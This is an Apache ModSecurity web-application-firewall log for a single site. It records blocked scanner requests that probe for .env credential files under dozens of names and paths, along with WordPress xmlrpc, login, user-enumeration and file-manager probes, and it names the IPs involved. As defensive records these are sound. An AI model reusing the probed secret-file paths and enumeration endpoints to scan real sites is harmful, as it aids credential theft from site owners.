[Fri Mar 27 16:42:42.589377 2026] [:error] [pid 27750:tid 27829] [client 172.69.186.21:10777] [client 172.69.186.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production.bak"] [unique_id "acZDAoaSil5rd17ieLzH6wAAAIs"]
[Fri Mar 27 16:42:42.616600 2026] [:error] [pid 27750:tid 27835] [client 172.69.186.183:9786] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.orig"] [unique_id "acZDAoaSil5rd17ieLzH7AAAAJE"]
[Fri Mar 27 16:42:42.672680 2026] [:error] [pid 4341:tid 4351] [client 172.69.186.218:13308] [client 172.69.186.218] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "acZDAuKJWrNB5dMlERFSvwAAAYg"]
[Fri Mar 27 16:42:42.874712 2026] [:error] [pid 4341:tid 4365] [client 172.69.186.11:14193] [client 172.69.186.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev.local"] [unique_id "acZDAuKJWrNB5dMlERFSwAAAAZY"]
[Fri Mar 27 16:42:42.888834 2026] [:error] [pid 4293:tid 4313] [client 172.69.186.76:9887] [client 172.69.186.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "acZDApLjeJUC3OKtEx_2NAAAAVI"]
[Fri Mar 27 16:42:42.933386 2026] [:error] [pid 4341:tid 4355] [client 172.69.186.21:10784] [client 172.69.186.21] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.container"] [unique_id "acZDAuKJWrNB5dMlERFSwQAAAYw"]
[Fri Mar 27 16:42:43.129166 2026] [:error] [pid 4293:tid 4300] [client 172.69.186.108:11621] [client 172.69.186.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env"] [unique_id "acZDA5LjeJUC3OKtEx_2NQAAAUU"]
[Fri Mar 27 16:42:43.212298 2026] [:error] [pid 4293:tid 4311] [client 172.69.186.77:12761] [client 172.69.186.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env.local"] [unique_id "acZDA5LjeJUC3OKtEx_2NwAAAVA"]
[Fri Mar 27 16:42:43.467411 2026] [:error] [pid 27743:tid 27772] [client 172.69.186.109:12391] [client 172.69.186.109] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/srv/.env"] [unique_id "acZDAyA46UYYLqzw99B7vwAAAAg"]
[Fri Mar 27 16:42:43.741555 2026] [:error] [pid 27851:tid 27881] [client 172.69.186.76:9890] [client 172.69.186.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/web/.env"] [unique_id "acZDA3R2ccxe3RMCLbq_2gAAANc"]
[Fri Mar 27 16:42:44.017329 2026] [:error] [pid 27851:tid 27864] [client 172.69.186.77:12765] [client 172.69.186.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/site/.env"] [unique_id "acZDBHR2ccxe3RMCLbq_3AAAAMY"]
[Fri Mar 27 16:42:44.300956 2026] [:error] [pid 27851:tid 27879] [client 172.69.186.10:11569] [client 172.69.186.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/www/.env"] [unique_id "acZDBHR2ccxe3RMCLbq_3gAAANU"]
[Fri Mar 27 16:42:44.432380 2026] [:error] [pid 4293:tid 4309] [client 172.69.186.183:9789] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/var/www/.env"] [unique_id "acZDBJLjeJUC3OKtEx_2OwAAAU4"]
[Fri Mar 27 16:42:44.587500 2026] [:error] [pid 27851:tid 27880] [client 172.69.186.10:11575] [client 172.69.186.10] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/var/www/html/.env"] [unique_id "acZDBHR2ccxe3RMCLbq_4AAAANY"]
[Fri Mar 27 16:42:44.706583 2026] [:error] [pid 4293:tid 4310] [client 172.69.186.183:9793] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/home/.env"] [unique_id "acZDBJLjeJUC3OKtEx_2PAAAAU8"]
[Fri Mar 27 16:42:44.863821 2026] [:error] [pid 4293:tid 4296] [client 172.69.186.77:11950] [client 172.69.186.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/root/.env"] [unique_id "acZDBJLjeJUC3OKtEx_2PgAAAUE"]
[Fri Mar 27 16:42:44.963416 2026] [:error] [pid 4293:tid 4317] [client 172.69.186.197:11546] [client 172.69.186.197] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_config"] [unique_id "acZDBJLjeJUC3OKtEx_2PwAAAVY"]
[Fri Mar 27 16:42:45.117803 2026] [:error] [pid 27851:tid 27870] [client 172.69.186.108:11622] [client 172.69.186.108] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_secret"] [unique_id "acZDBXR2ccxe3RMCLbq_4gAAAMw"]
[Fri Mar 27 16:42:45.149170 2026] [:error] [pid 4293:tid 4297] [client 172.69.186.76:11473] [client 172.69.186.76] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "acZDBZLjeJUC3OKtEx_2QQAAAUI"]
[Fri Mar 27 16:42:45.239248 2026] [:error] [pid 4293:tid 4306] [client 172.69.186.183:9795] [client 172.69.186.183] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_settings"] [unique_id "acZDBZLjeJUC3OKtEx_2QgAAAUs"]
[Fri Mar 27 16:42:45.402361 2026] [:error] [pid 4293:tid 4316] [client 172.69.186.11:14197] [client 172.69.186.11] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local.backup"] [unique_id "acZDBZLjeJUC3OKtEx_2RQAAAVU"]
[Fri Mar 27 16:42:52.828587 2026] [:error] [pid 27743:tid 27782] [client 172.69.186.165:9256] [client 172.69.186.165] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env~"] [unique_id "acZDDCA46UYYLqzw99B77gAAABI"]
[Fri Mar 27 17:06:17.666045 2026] [:error] [pid 27851:tid 27878] [client 20.91.226.172:64503] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acZIiXR2ccxe3RMCLbrE2QAAANQ"]
[Fri Mar 27 17:06:18.316827 2026] [:error] [pid 4293:tid 4314] [client 20.91.226.172:64805] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acZIipLjeJUC3OKtEx8FBAAAAVM"]
[Fri Mar 27 17:06:18.932832 2026] [:error] [pid 27749:tid 27814] [client 20.91.226.172:65284] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acZIisEqyoMni2Q6_X7VlwAAAFc"]
[Fri Mar 27 17:06:19.560102 2026] [:error] [pid 27749:tid 27813] [client 20.91.226.172:65370] [client 20.91.226.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acZIi8EqyoMni2Q6_X7VmwAAAFY"]
[Fri Mar 27 21:12:28.790494 2026] [:error] [pid 27749:tid 27797] [client 43.130.72.177:38440] [client 43.130.72.177] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acaCPMEqyoMni2Q6_X76mgAAAEY"]
[Fri Mar 27 21:38:06.929716 2026] [:error] [pid 4341:tid 4360] [client 43.156.202.34:44060] [client 43.156.202.34] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acaIPuKJWrNB5dMlERHBkQAAAZE"]
[Fri Mar 27 21:39:46.834901 2026] [:error] [pid 54663:tid 54666] [client 49.204.211.166:32066] [client 49.204.211.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.211.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acaIohUtStIXFk9WHe21xwAAAcA"]
[Sat Mar 28 00:02:12.374830 2026] [:error] [pid 4341:tid 4359] [client 49.204.211.166:31526] [client 49.204.211.166] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||rcacivilgroup.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "rcacivilgroup.com"] [uri "/wp-json/wp/v2/users"] [unique_id "acaqBOKJWrNB5dMlERHacQAAAZA"]
[Sat Mar 28 00:03:37.834827 2026] [:error] [pid 27749:tid 27812] [client 49.204.211.166:32753] [client 49.204.211.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.211.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acaqWcEqyoMni2Q6_X4zbwAAAFU"]
[Sat Mar 28 00:04:43.779761 2026] [:error] [pid 22565:tid 22569] [client 49.204.211.166:33198] [client 49.204.211.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.211.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acaqm18mBwD7TK11NLuxSQAAAgI"]
[Sat Mar 28 00:06:18.759871 2026] [:error] [pid 27851:tid 27862] [client 49.204.211.166:31960] [client 49.204.211.166] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 49.204.211.166, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "acaq-nR2ccxe3RMCLbo5BwAAAMQ"]
[Sat Mar 28 03:50:28.702518 2026] [:error] [pid 62133:tid 62135] [client 43.130.228.73:59000] [client 43.130.228.73] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "acbfhLH4k6Uqv6Fc80G5PAAAAMA"]
[Sat Mar 28 04:56:14.907470 2026] [:error] [pid 34630:tid 34633] [client 162.62.231.139:32880] [client 162.62.231.139] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "acbu7iB2k6HS6io_ec2FagAAAYA"]
[Sat Mar 28 08:00:01.303290 2026] [:error] [pid 34597:tid 34621] [client 13.221.252.87:63876] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "accaAYluI7-e5s1cafcnXQAAAVQ"]
[Sat Mar 28 08:00:01.711347 2026] [:error] [pid 43578:tid 43584] [client 13.221.252.87:64106] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "accaAXNG2YdGm41aN8LkfAAAAkM"]
[Sat Mar 28 08:00:02.120414 2026] [:error] [pid 34597:tid 34612] [client 13.221.252.87:64324] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "accaAoluI7-e5s1cafcnYAAAAUs"]
[Sat Mar 28 08:00:02.544376 2026] [:error] [pid 2877:tid 2892] [client 13.221.252.87:64610] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "accaArgM4xL1Xj409YTfVQAAAQ0"]
[Sat Mar 28 08:00:02.953128 2026] [:error] [pid 2877:tid 2887] [client 13.221.252.87:64808] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production"] [unique_id "accaArgM4xL1Xj409YTfVgAAAQg"]
[Sat Mar 28 08:00:03.362007 2026] [:error] [pid 34597:tid 34606] [client 13.221.252.87:65046] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.staging"] [unique_id "accaA4luI7-e5s1cafcnZQAAAUU"]
[Sat Mar 28 08:00:03.771683 2026] [:error] [pid 43547:tid 43567] [client 13.221.252.87:65228] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "accaAz4ZEfdetXP-9aC1wAAAAhI"]
[Sat Mar 28 08:00:07.947909 2026] [:error] [pid 2877:tid 2894] [client 13.221.252.87:50877] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "accaB7gM4xL1Xj409YTfXQAAAQ8"]
[Sat Mar 28 08:00:29.754719 2026] [:error] [pid 64860:tid 64923] [client 13.221.252.87:62293] [client 13.221.252.87] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.json"] [unique_id "accaHRkU3N0pg_4aEL_o7AAAAE8"]
[Sat Mar 28 08:51:42.282491 2026] [:error] [pid 64860:tid 64913] [client 137.220.221.186:65194] [client 137.220.221.186] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 137.220.221.186, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "accmHhkU3N0pg_4aEL8C1QAAAEU"]
[Sat Mar 28 09:25:46.157316 2026] [:error] [pid 34597:tid 34607] [client 2.58.56.116:53008] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "accuGoluI7-e5s1cafc6jwAAAUY"]
[Sat Mar 28 09:25:46.405969 2026] [:error] [pid 43578:tid 43604] [client 2.58.56.116:53166] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "accuGnNG2YdGm41aN8Lw3wAAAlc"]
[Sat Mar 28 09:25:46.658511 2026] [:error] [pid 43547:tid 43568] [client 2.58.56.116:53280] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "accuGj4ZEfdetXP-9aC84QAAAhM"]
[Sat Mar 28 09:25:46.905682 2026] [:error] [pid 64966:tid 64973] [client 2.58.56.116:53417] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "accuGtfSvF5AFfSuKxX_gAAAAMA"]
[Sat Mar 28 09:25:47.206967 2026] [:error] [pid 43578:tid 43587] [client 2.58.56.116:53539] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "accuG3NG2YdGm41aN8Lw6AAAAkY"]
[Sat Mar 28 09:25:47.453486 2026] [:error] [pid 64966:tid 64987] [client 2.58.56.116:53729] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "accuG9fSvF5AFfSuKxX_kQAAAM4"]
[Sat Mar 28 09:25:47.706566 2026] [:error] [pid 43578:tid 43583] [client 2.58.56.116:54140] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "accuG3NG2YdGm41aN8LxGQAAAkI"]
[Sat Mar 28 09:25:47.953188 2026] [:error] [pid 43578:tid 43590] [client 2.58.56.116:54554] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "accuG3NG2YdGm41aN8LxLwAAAkk"]
[Sat Mar 28 09:25:48.209047 2026] [:error] [pid 34631:tid 34667] [client 2.58.56.116:54866] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "accuHDtzjMMS6kojpeRTwwAAAcc"]
[Sat Mar 28 09:25:48.476183 2026] [:error] [pid 64859:tid 64904] [client 2.58.56.116:55144] [client 2.58.56.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "accuHG3qEBHXq3rHdBm48QAAABc"]
